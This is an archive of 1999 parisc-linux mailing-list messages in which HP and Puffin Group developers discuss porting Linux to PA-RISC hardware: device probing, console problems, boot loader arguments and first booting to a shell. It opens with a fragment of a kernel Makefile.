  	@echo "If this fails, you're not using GNU nm! "
  	@echo "Make sure you have it in your path before HPUX nm."
  	$(NM) --version > /dev/null 2>&1
! 	$(NM) -td vmlinux |awk '/init_task_union/ { n = int($$1); t = int(n/8192); t *= 8192; if (t >= n) printf t-n ; else printf n-(t-8192)}' FS=\| > init_task.alignment
  	@if [ `cat init_task.alignment` -ne "0" ]; then \
  		echo init_task_union alignment is `cat init_task.alignment`: rebuilding...; \
  		( cd arch/parisc/kernel ; rm -f init_task.o ; make EXTRA_CFLAGS=-DALIGN init_task.o ); \


From - Thu Nov 08 21:10:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] seek Temp Control Register conventions
Date: Tue, 26 Oct 1999 16:49:27 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <38163E07.1F4C44BC@hp.com>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618585 27269 80.91.229.3 (22 Nov 2014 01:09:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:45 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: frank_rowand@hp.com  Tue Oct 26 17:48:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA12824
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Oct 1999 17:48:28 -0600
Original-Received: (qmail 8116 invoked by uid 15267); 26 Oct 1999 23:49:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8092 invoked from network); 26 Oct 1999 23:49:32 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 26 Oct 1999 23:49:32 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id TAA06125
	for <parisc-linux@thepuffingroup.com>; Tue, 26 Oct 1999 19:48:41 -0400 (EDT)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id QAA07293 for <parisc-linux@thepuffingroup.com>; Tue, 26 Oct 1999 16:49:27 -0700 (PDT)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6256

Are the conventions for usage of the Temp Control Registers documented somewhere?
(So far, I've found comments about CR30 and CR31 in arch/parisc/kernel/interruption.S.)

Also, same question for Space Register usage conventions.

Thanks,

Frank Rowand


From - Thu Nov 08 21:10:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L console output
Date: Tue, 26 Oct 1999 17:01:48 -0700
Lines: 76
Approved: news@gmane.org
Message-ID: <199910270001.RAA04300@milano.cup.hp.com>
References: <Pine.LNX.4.10.9910261851210.30574-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618585 27274 80.91.229.3 (22 Nov 2014 01:09:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: grundler@cup.hp.com  Tue Oct 26 18:00:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA13092
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Oct 1999 18:00:46 -0600
Original-Received: (qmail 12800 invoked by uid 15267); 27 Oct 1999 00:01:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12787 invoked from network); 27 Oct 1999 00:01:49 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 27 Oct 1999 00:01:49 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel1.hp.com (Postfix) with ESMTP
	id 36E5BA5F; Tue, 26 Oct 1999 17:01:21 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id RAA04300; Tue, 26 Oct 1999 17:01:49 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 26 Oct 1999 18:54:24 PDT."
             <Pine.LNX.4.10.9910261851210.30574-100000@vodka.thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6257

Alex deVries wrote:
> 
> On Tue, 26 Oct 1999, Grant Grundler wrote:
> > This B132L I took this output from is unique.
> > It has a DEC PCI-PCI bridge stuck in it and our buswalk handles it fine.
> 
> I have a couple of questions about this machine:
> 
> > Lastly, the "lasi serial #1 at 0xffe02000" not getting claimed
> > is becaused it's trying to talk to Dino's RS-232. lasi_alloc_irq()
> > handles it correctly by failing and this failure correctly results
> > in not claiming the device.
> 
> We need to fix it so that it doesn't attempt to load the Lasi serial
> driver when it's really a Dino RS 232.  That should be pretty easy to fix.

Ok.

> 
> > Found devices:
> > 1. Phantom PseudoBC GSC+ Port (7) at 0xffc00000, versions 0x504, 0x0, 0x0, 
>   0x0, 0x0
> > 2. Unknown device (4) at 0xfff8c000, versions 0x3c, 0x0, 0x89, 0x0, 0x80
> 
> Do you have any idea what that unknown device might be?

Address map says "Zalon". That's the GSC front end for NCR c720 board.
I think from ioscan.B132L its:
ext_bus     1  8/12  c720 CLAIMED     INTERFACE    GSC Fast/Wide SCSI Interface

iodc data for 8/12 device is:
	3 192 0 132 0 0 137 128 153 0 1 0 197 233 0 2

You'll have to figure out if that matches...I'm not up to it right now.
C720 driver normally says "Built-in" if some PDC call says it's a built-in.
So I don't really know what to make of it.

> > 6. Merlin 132 Core RS-232 (10) at 0xffd05000, versions 0x3c, 0x0, 0x8c, 0x0
>   , 0x0
> > 16. Merlin+ Wax RS-232 (10) at 0xffe02000, versions 0x3a, 0x0, 0x8c, 0x0, 0
>   x0
> 
> Which of those is actually connected?

I would think both.
But I was wrong about dino exporting it's RS-232 on this box.
The B180 does export Dino's RS-232 from 8/0/63.
But I was right in that Lasi only exports one of them.


> > 11. Merlin 132 Core PC Keyboard (10) at 0xffd08000, versions 0x3c, 0x0, 0x8
>   4, 0x0, 0x0
> > 12. Merlin 132 Core PC Keyboard (10) at 0xffd08100, versions 0x3c, 0x0, 0x8
>   4, 0x0, 0x0
> > 15. Merlin+ Wax HIL (10) at 0xffe01000, versions 0x3a, 0x0, 0x73, 0x0, 0x0
> 
> How about those?

Again, based on the HPA, I'd say 11 and 12 are the PS/2 ports off Lasi.
15 is most likely off the WAX chip (EISA bus adapter.)
I don't know if B132L has EISA slots (haven't looked inside one in
a long time), but HP-UX reports "EISA Bus Adapter" at 8/20/5.
So I would assume it does.
Note that the B180 does NOT. And thus doubt the A180 would either.

cheers,
grant

> 
> - Alex
> 

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:10:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dkennedy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Searching for HP9000/425 and HP Apollo A1630 docs
Date: Tue, 26 Oct 1999 23:30:22 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910262326420.3004-100000@grasshopper.thepuffingroup.com>
References: <19991025112828.S4777@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618585 27277 80.91.229.3 (22 Nov 2014 01:09:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Martin Schulze <joey@infodrom.north.de>
Original-X-From: dkennedy@thepuffingroup.com  Tue Oct 26 21:22:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA14109
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Oct 1999 21:22:36 -0600
Original-Received: (qmail 24020 invoked by uid 15267); 27 Oct 1999 03:23:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24013 invoked from network); 27 Oct 1999 03:23:40 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 27 Oct 1999 03:23:40 -0000
Original-Received: from grasshopper.thepuffingroup.com (IDENT:dkennedy@grasshopper.thepuffingroup.com [192.168.1.65])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id XAA31033;
	Tue, 26 Oct 1999 23:29:15 -0400
In-Reply-To: <19991025112828.S4777@finlandia.infodrom.north.de>
Xref: news.gmane.org gmane.linux.ports.parisc:6258

On Mon, 25 Oct 1999, Martin Schulze wrote:

> I have aquired two HP9000/425dl (processor: 68040/25) machines on
> which I'd like to run Linux.  I'm working on it with a friend who's
> got a similar machine, HP Apollo A1630 model 425t and a HP Apollo
> A1630 model 400t with 68030 processor.  The machines have these
> framebuffers: A1416A, A1924 and A1630.  At the moment we get the
> machine boot but the kernel dies afterwards, for sure.

There is a Apollo Linux port already in existance.  I know it covers
pre-HP Apollo machines including machines with a 68040 and an ISA bus
as well as some HP Apollo machines.  The link can be found off of
http://www.linux-m68k.org.

-- 
David Kennedy
The Puffin Group


From - Thu Nov 08 21:10:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] the state of the shell
Date: Wed, 27 Oct 1999 00:27:55 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <19991027002755.D26012@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618586 27281 80.91.229.3 (22 Nov 2014 01:09:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pschwan@burrow.puffingroup.com  Tue Oct 26 21:44:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA14615
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Oct 1999 21:44:35 -0600
Original-Received: (qmail 29268 invoked by uid 15267); 27 Oct 1999 03:45:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29260 invoked from network); 27 Oct 1999 03:45:39 -0000
Original-Received: from burrow.puffingroup.com (pschwan@209.151.0.76)
  by mailserv2.iuinc.com with SMTP; 27 Oct 1999 03:45:39 -0000
Original-Received: (from pschwan@localhost)
	by burrow.puffingroup.com (8.8.7/8.8.7) id AAA26481
	for parisc-linux@thepuffingroup.com; Wed, 27 Oct 1999 00:27:57 -0400
X-Mailer: Mutt 0.93.2
Xref: news.gmane.org gmane.linux.ports.parisc:6259

So, I spent all evening trying to figure out _exactly_ which
differences between Chris Beard's tree and cvs-head were preventing us
from getting to a shell.  Here's what I found:

- The drivers/gecko/lasi.c changes made between 1999/10/19 and
1999/10/25 made the console unbearably slow.  At first glance I
suspect we're not handling interrupts properly, but I haven't looked
at it in any sort of detail.  I'll get to it soon, unless someone else
does first.

- I reverted someone else's one-line change to drivers/char/serial.c
that was causing the console to barf when sash tried to display
something.  This was ultimately the only hard problem to track down.

- We need ``argv_init[1] = NULL;'' in init/main.c, at least for the
moment, so that we don't get sash's usage screen.

- There are problems with the IODC console.  If I set console=tty and
boot with IODC, I get: 

Attempting to execute '/sbin/init'

It's for the PA-RISC!
It's executable!
It has an appropriate version!
The checksum checks out!
Well, it *smells* like a valid SOM executable
(start_brk) 40017000
(end_code) 0003c000
(start_code) 00001000
(end_data) 40008000
(start_stack) 20000028
(brk) 40017000
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing

I've not even begun to debug this.  If you want to just get to a
prompt, turn off the IODC console and set ``console=ttyS0'' in
arch/parisc/boot/boot_code/ipl_c.c

Aside from that, using the ramdisk that Chris made (on
puffin.external.hp.com), you should be able to boot to a sash prompt,
at least on the A180.  I've not tried it on any other machine; I'll
probably try it first thing tomorrow.

Good luck--

-Phil


From - Thu Nov 08 21:10:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Wuhoo! A shell!
Date: Wed, 27 Oct 1999 00:46:35 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910270038090.31184-100000@vodka.thepuffingroup.com>
References: <19991027002755.D26012@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618586 27284 80.91.229.3 (22 Nov 2014 01:09:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Tue Oct 26 22:39:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA14898
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Oct 1999 22:39:23 -0600
Original-Received: (qmail 10623 invoked by uid 15267); 27 Oct 1999 04:40:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10613 invoked from network); 27 Oct 1999 04:40:27 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 27 Oct 1999 04:40:27 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id AAA31216
	for <parisc-linux@thepuffingroup.com>; Wed, 27 Oct 1999 00:46:35 -0400
In-Reply-To: <19991027002755.D26012@thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6260


First off, many thanks to everyone who worked hard to get us these base
parts completed, especially Philipp, Helge and Grant.

Next, many thanks to Thomas, Chris and especially Phil for not just
getting seperate trees working, but one in CVS that's easily reproducable
and which we can move forward with.

Obviously there's a lot of stuff to be cleared up, but these problems
don't see too difficult. 

- lasi.c needs to have some of the interrupt management cleared up so that
we have a reasonable serial console speed.  From what Phil says it sounds
pretty easy.  I'm not exaggerating when I say it takes 15 minutes to get
to a shell on my 712/80.

- serial console code (as mentioned by Phil)

- overal console management needs to be handled properly.  This includes
finishing up the STI interface, the keyboard controller, and making it so
that the system chooses a console based on the firmware console path
settings.  This seems pretty reasonable.

- it sounds like we might be at a point now where getting networking isn't
so unreasonable.  We have the base of the tulip and i82596 controllers
going.

In any case, we can now safely say that 'Yes, PA-RISC Linux now boots to a
shell'.  Congrats, everyone.

- Alex


From - Thu Nov 08 21:11:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hack to use HPUX boot loader
Date: Wed, 27 Oct 1999 12:11:37 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <199910271811.MAA17359@debian.fc.hp.com>
References: <199910261550.JAA13603@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618586 27286 80.91.229.3 (22 Nov 2014 01:09:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: bame@debian.fc.hp.com  Wed Oct 27 12:10:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA19261
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Oct 1999 12:10:36 -0600
Original-Received: (qmail 5847 invoked by uid 15267); 27 Oct 1999 18:11:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5832 invoked from network); 27 Oct 1999 18:11:41 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 27 Oct 1999 18:11:41 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id MAA17879
	for <parisc-linux@thepuffingroup.com>; Wed, 27 Oct 1999 12:11:39 -0600 (MDT)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id MAA24168 for <parisc-linux@thepuffingroup.com>; Wed, 27 Oct 1999 12:11:38 -0600 (MDT)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id MAA17359
	for <parisc-linux@thepuffingroup.com>; Wed, 27 Oct 1999 12:11:38 -0600
In-reply-to: Your message of "Tue, 26 Oct 1999 09:50:37 CDT."
             <199910261550.JAA13603@debian.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6261


= 
= Has anyone confirmed that the kernel which is started is getting good
= data (stack, etc...) or are my kernels booting purely by accident?
= 

Phillip looked over some boot messages after being booted with the
hpux boot loader and blessed them, so things appear to be working well.

How about a COMMAND LINE?

If anyone wants to investigate a bit and work on head.S, it looks like
when launched from the current hpux boot loader that the args
passed to the kernel are

	int argc, char *argv[], char *envp[],

with some slightly bizzare stuff in the "environment", of possible
interest:

	env[2] - load address *of the boot loader itself*
	env[3] - size *of the boot loader itself*

argc will always be a low number >= 1.  If you had told ISL:

	ISL> hpux /boot/vmlinux a b c

then argc would supposedly be 4 and argv[2], for example, would be "b".
I suspect the argv[] should be copied to somewhere safe.

Note that this is very different from the statment in head.S:

         *      %arg3(=%r23) holds HALF(!) of the size of the BSS-Segment

			    -Paul Bame


From - Thu Nov 08 21:11:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Beard <chris@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Configuration patches
Date: Wed, 27 Oct 1999 14:47:43 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910271441580.32651-100000@martini.thepuffingroup.com>
References: <Pine.LNX.4.10.9910270038090.31184-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618587 27287 80.91.229.3 (22 Nov 2014 01:09:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: chris@thepuffingroup.com  Wed Oct 27 12:47:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA19841
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Oct 1999 12:47:33 -0600
Original-Received: (qmail 21229 invoked by uid 15267); 27 Oct 1999 18:48:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21219 invoked from network); 27 Oct 1999 18:48:38 -0000
Original-Received: from unknown (HELO martini.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 27 Oct 1999 18:48:38 -0000
In-Reply-To: <Pine.LNX.4.10.9910270038090.31184-100000@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6262


Ok, as of this instant, if you checkout a fresh kernel from CVS, and hit
[enter] all the way through the ``make config'' and use
ramdisk.bin-19991019-workingsash from the FTP site, you should get to sash
prompt when you boot the kernel image.

You will also feel the pain of the serial interrupts.

This has been verified to /work/ on an A180C.

Chris


From - Thu Nov 08 21:11:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: R Scott Holbrook (HP-DESK: hp4000/UX) <rsh@scoot.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L console output
Date: Wed, 27 Oct 1999 13:29:33 -0600
Organization: Hewlett-Packard Unix Development Lab
Lines: 130
Approved: news@gmane.org
Message-ID: <199910271929.NAA27977@scoot.fc.hp.com>
References: <199910270001.RAA04300@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618587 27290 80.91.229.3 (22 Nov 2014 01:09:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:47 +0000 (UTC)
Cc: Alex deVries <adevries@thepuffingroup.com>,
        parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rsh@scoot.fc.hp.com  Wed Oct 27 13:28:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA20405
	for <parisc-linux@puffin.external.hp.com>; Wed, 27 Oct 1999 13:28:30 -0600
Original-Received: (qmail 6152 invoked by uid 15267); 27 Oct 1999 19:29:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6135 invoked from network); 27 Oct 1999 19:29:35 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 27 Oct 1999 19:29:35 -0000
Original-Received: from scoot.fc.hp.com (root@scoot.fc.hp.com [15.1.52.6])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id NAA27352;
	Wed, 27 Oct 1999 13:29:33 -0600 (MDT)
Original-Received: from localhost (rsh@localhost [127.0.0.1]) by scoot.fc.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.1) id NAA27977; Wed, 27 Oct 1999 13:29:33 -0600 (MDT)
X-Authentication-Warning: scoot.fc.hp.com: rsh@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of Tue, 26 Oct 1999 17:01:48 -0700.
    (Alex deVries wrote: > > On Tue, 26 Oct 1999, Grant Grundler wro...)
             <199910270001.RAA04300@milano.cup.hp.com> 
X-Address: Mail Stop 99
    3404 East Harmony Road
    Fort Collins, CO  80528-9599
X-Phone: (970) 898-6248
X-Mailer: MH 6.8
Xref: news.gmane.org gmane.linux.ports.parisc:6263

Grant and Alex,

>>> 6. Merlin 132 Core RS-232 (10) at 0xffd05000, versions 0x3c, 0x0, 0x8c, 0x0, 0x0
>>> 16. Merlin+ Wax RS-232 (10) at 0xffe02000, versions 0x3a, 0x0, 0x8c, 0x0, 0x0
>> 
>> Which of those is actually connected?

> I would think both.
> But I was wrong about dino exporting it's RS-232 on this box.
> The B180 does export Dino's RS-232 from 8/0/63.
> But I was right in that Lasi only exports one of them.

The firmware will report only the serial ports that are actually
connected.  Thus, this box does have both of the serial ports.
On these types of boxes (B132, B132+ B160, B180), LASI always
provides the first serial port.  The second port, however, can
come from different chips depending on whether or not WAX is
present.  Some of these boxes had an EISA bus as an option.
If WAX is present, it provides the 2nd serial port.  Otherwise,
DINO provides the 2nd serial port.

>> > 15. Merlin+ Wax HIL (10) at 0xffe01000, versions 0x3a, 0x0, 0x73, 0x0, 0x0

> 15 is most likely off the WAX chip (EISA bus adapter.)
> I don't know if B132L has EISA slots (haven't looked inside one in
> a long time), but HP-UX reports "EISA Bus Adapter" at 8/20/5.
> So I would assume it does.
> Note that the B180 does NOT. And thus doubt the A180 would either.

This box has a WAX chip, which means that the system has an EISA slot.
EISA was an optional feature on some of these platforms.  Some B180
systems have EISA, others do not.

If the system has EISA, it has WAX and therefore has HIL support.
However, there is no HIL connector on these systems.  There is a
set of jumpers on the system board that connect the HIL signals to
2 unused pins on one of the PS/2 connectors and a special external
box that plugs into the PS/2 port and has a place to plug in the
HIL connector.  This is used by an OEM that uses the B132/B160/B180
platform but requires HIL (for some special keyboards).

Scott Holbrook / rsh@fc.hp.com
Unix Development Lab

X-From-Line: hppa-linux@thepuffingroup.com  Mon Mar  1 18:44:21 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id SAA01431
	for <pcj@merlin.pcj.primenet.com>; Mon, 1 Mar 1999 18:44:21 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Mon, 01 Mar 1999 18:44:21 PST
Received: from smtp03.primenet.com (daemon@smtp01.primenet.com [206.165.6.133])
	by primenet.com (8.8.8/8.8.5) with ESMTP id OAA28919
	for <pcj@smtp-local.primenet.com>; Mon, 1 Mar 1999 14:53:13 -0700 (MST)
Received: (from daemon@localhost)
	by smtp03.primenet.com (8.8.8/8.8.8) id OAA04162
	for <pcj@primenet.com>; Mon, 1 Mar 1999 14:53:13 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp03.primenet.com, id smtpd004146; Mon Mar  1 14:53:08 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id QAA15403;
	Mon, 1 Mar 1999 16:27:34 -0500
Resent-Date: Mon, 1 Mar 1999 16:27:34 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <B782283A728ED011BBA2006097780D03F2911A@COMA0S04>
From: "Mandachi, Dorin \(Omaha\)" <Dorin.Mandachi@cox.com>
To: "'hppa-linux@thepuffingroup.com'" <hppa-linux@thepuffingroup.com>
Subject: RE: [hppa-linux] Another bootstrap test
Date: Mon, 1 Mar 1999 16:26:22 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Resent-Message-ID: <"I8pj01.0.Xm3.5Pmss"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/134
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: fca4c433761135783d3ba951b1e18b68
Lines: 43
Xref: merlin.pcj.primenet.com palinux:105

I apologize for my ignorance, can sbdy give me a few pointers on what I need
to do to load the bootstrap on a 712/100 with no floppy?

Dorin Mandachi



-----Original Message-----
From: Jason Eckhardt [mailto:jason@equator.com]
Sent: Friday, February 26, 1999 5:52 PM
To: hppa-linux@thepuffingroup.com
Subject: [hppa-linux] Another bootstrap test



I would appreciate it if a few people would try out this updated bootstrap
code on their systems (same directions as last time). This is basically
complete, it loads and executes a "dummy" kernel. It has only been tested on
a C160 so far.
This is a debug version and prints a lot of noise. It would be useful if
you would capture the output and email it to me. Or at least send the
numbers 
for:
 P0_IMM_max_mem, P0_BOOTCPU_10msec, P0_COUT_class, P0_CIN_class, and
 P0_BOOTDEV_class.

If it works completely, you'll see a message from the dummy kernel image
folloed by "It is now safe to reboot." Let me know if it makes it that far
on your system.

Thanks, Jason Eckhardt.




-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:00 2018
